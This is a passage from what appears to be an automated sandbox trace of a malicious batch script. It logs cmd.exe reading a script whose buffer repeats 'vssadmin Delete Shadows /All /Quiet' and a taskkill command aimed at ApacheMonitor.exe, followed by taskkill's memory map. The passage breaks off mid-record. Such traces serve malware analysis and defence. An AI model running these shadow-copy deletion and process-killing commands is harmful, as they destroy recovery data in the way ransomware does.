[0098.321] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0098.321] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0098.322] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0098.322] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0098.322] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0098.322] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0098.322] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0098.322] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0098.322] SetConsoleInputExeNameW () returned 0x1 [0098.322] GetConsoleOutputCP () returned 0x1b5 [0098.322] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0098.322] SetThreadUILanguage (LangId=0x0) returned 0x409 [0098.322] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0098.322] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0098.322] _get_osfhandle (_FileHandle=3) returned 0x78 [0098.322] SetFilePointer (in: hFile=0x78, lDistanceToMove=1609, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x649 [0098.322] _get_osfhandle (_FileHandle=3) returned 0x78 [0098.322] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x649 [0098.322] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x27, lpOverlapped=0x0) returned 1 [0098.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=39, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="vssadmin.exe Delete Shadows /All /Quiet.exe\nvssadmin.exe Delete Shadows /All /Quietmin.exe Delete Shadows /All /Quiet taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 39 [0098.323] _get_osfhandle (_FileHandle=3) returned 0x78 [0098.323] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x670 [0098.323] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef350, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef350*=0x0, lpOverlapped=0x0) returned 1 [0098.323] GetLastError () returned 0x0 [0098.323] _get_osfhandle (_FileHandle=3) returned 0x78 [0098.323] GetFileType (hFile=0x78) returned 0x1 [0098.323] _get_osfhandle (_FileHandle=3) returned 0x78 [0098.323] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x670 [0098.323] _tell (_FileHandle=3) returned 1648 [0098.323] _close (_FileHandle=3) returned 0 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="DIR") returned 18 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="ERASE") returned 17 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="DEL") returned 18 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="TYPE") returned 2 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="COPY") returned 19 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="CD") returned 19 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="CHDIR") returned 19 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="RENAME") returned 4 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="REN") returned 4 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="ECHO") returned 17 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="SET") returned 3 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="PAUSE") returned 6 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="DATE") returned 18 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="TIME") returned 2 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="PROMPT") returned 6 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="MD") returned 9 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="MKDIR") returned 9 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="RD") returned 4 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="RMDIR") returned 4 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="PATH") returned 6 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="GOTO") returned 15 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="SHIFT") returned 3 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="CLS") returned 19 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="CALL") returned 19 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="VERIFY") returned 14 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="VER") returned 14 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="VOL") returned 4 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="EXIT") returned 17 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="SETLOCAL") returned 3 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="ENDLOCAL") returned 17 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="TITLE") returned 2 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="START") returned 3 [0098.323] _wcsicmp (_String1="vssadmin.exe", _String2="DPATH") returned 18 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="KEYS") returned 11 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="MOVE") returned 9 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="PUSHD") returned 6 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="POPD") returned 6 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="ASSOC") returned 21 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="FTYPE") returned 16 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="BREAK") returned 20 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="COLOR") returned 19 [0098.324] _wcsicmp (_String1="vssadmin.exe", _String2="MKLINK") returned 9 [0098.324] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.324] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.324] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0098.324] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0098.324] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0098.347] CloseHandle (hObject=0x78) returned 1 [0098.347] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0098.834] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000002") returned 8 [0098.834] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0098.834] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0098.834] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0098.834] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0098.834] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0098.834] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0098.834] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0098.834] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0098.834] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0098.834] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0098.834] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0098.834] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0098.835] SetConsoleInputExeNameW () returned 0x1 [0098.835] GetConsoleOutputCP () returned 0x1b5 [0098.835] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0098.835] SetThreadUILanguage (LangId=0x0) returned 0x409 [0098.835] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0098.835] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0098.835] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.835] SetFilePointer (in: hFile=0x74, lDistanceToMove=1648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x670 [0098.835] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.835] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x670 [0098.835] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x0, lpOverlapped=0x0) returned 1 [0098.835] GetLastError () returned 0x0 [0098.835] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.835] GetFileType (hFile=0x74) returned 0x1 [0098.835] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.835] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x670 [0098.835] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.835] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x670 [0098.835] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef42c, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef42c*=0x0, lpOverlapped=0x0) returned 1 [0098.835] GetLastError () returned 0x0 [0098.835] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.835] GetFileType (hFile=0x74) returned 0x1 [0098.835] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.836] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x670 [0098.836] longjmp () [0098.836] _tell (_FileHandle=3) returned 1648 [0098.836] _close (_FileHandle=3) returned 0 [0098.836] CmdBatNotification () returned 0x2 [0098.836] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0098.836] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0098.836] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0098.836] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0098.836] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0098.836] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0098.836] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0098.836] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0098.836] SetConsoleInputExeNameW () returned 0x1 [0098.836] GetConsoleOutputCP () returned 0x1b5 [0098.837] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0098.837] SetThreadUILanguage (LangId=0x0) returned 0x409 [0098.837] exit (_Code=2) Process: id = "11" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5fff2000" os_pid = "0xbc4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM ApacheMonitor.exe /IM ApacheMonitor.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1911 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1912 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1913 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1914 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1915 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1916 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1917 start_va = 0x190000 end_va = 0x1a5fff entry_point = 0x190000 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 1918 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1919 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1920 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1921 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1922 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1923 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1924 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1925 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1926 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1927 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1928 start_va = 0x480000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1929 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1930 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1931 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1932 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 1933 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 1934 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1935 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1936 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1937 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1938 start_va = 0x6e0000 end_va = 0x7dffff entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 1939 start_va = 0x6a8a0000 end_va = 0x6a98afff entry_point = 0x6a8a0000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 1940 start_va = 0x6a990000 end_va = 0x6a99efff entry_point = 0x6a990000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1941 start_va = 0x6a9a0000 end_va = 0x6a9a8fff entry_point = 0x6a9a15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1942 start_va = 0x6a9b0000 end_va = 0x6a9c0fff entry_point = 0x6a9b0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 1943 start_va = 0x6a9d0000 end_va = 0x6aa04fff entry_point = 0x6a9d0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 1944 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1945 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e30000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 1946 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1947 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1948 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1949 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1950 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1951 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1952 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1953 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1954 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1955 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1956 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1957 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1958 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1959 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1960 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1961 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1962 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1963 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1964 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1965 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1966 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1967 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1968 start_va = 0x2a0000 end_va = 0x427fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 1969 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1970 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1971 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1972 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1973 start_va = 0xf0000 end_va = 0xf3fff entry_point = 0xf0000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 1974 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1975 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1976 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1977 start_va = 0x220000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1978 start_va = 